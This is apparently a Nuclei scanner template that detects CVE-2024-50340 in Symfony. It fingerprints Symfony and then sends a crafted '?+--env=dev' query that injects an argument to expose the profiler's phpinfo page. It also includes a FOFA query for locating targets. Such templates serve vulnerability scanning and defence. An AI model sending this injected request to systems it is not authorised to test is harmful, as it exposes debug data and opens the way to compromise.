Symfony Profiler - Remote Access via Injected Arguments

id: CVE-2024-50340

info:
  name: Symfony Profiler - Remote Access via Injected Arguments
  author: DhiyaneshDK
  severity: high
  description: |
    symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50340.
  reference:
    - https://github.com/symfony/symfony/commit/a77b308c3f179ed7c8a8bc295f82b2d6ee3493fa
    - https://github.com/symfony/symfony/security/advisories/GHSA-x8vp-gf4q-mw5j
    - https://blog.nollium.com/cve-2024-50340-remote-access-to-symfony-profiler-via-injected-arguments-d2f14b4f6ad7
    - https://github.com/nollium/CVE-2024-50340-eos-exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50340
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-50340
    cwe-id: CWE-74
    epss-score: 0.63422
    epss-percentile: 0.99111
  metadata:
    verified: true
    max-request: 1
    fofa-query: 'body="<div id=\"symfony\">" || header="Set-Cookie: symfony"'
  tags: cve,cve2024,symfony,phpinfo,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "symfony")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/_profiler/phpinfo?+--env=dev"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
# digest: 4a0a0047304502204734cce279676b0a0bdce7a4eb0dcbe288fa1abf1d36bd86a7bbd953b480b96c02210087d0aa1693e9488d9153c5834656357a1ccb57481087cdd2b10c9fa66f99b8b3:922c64590222798bb761d5b6d8e72950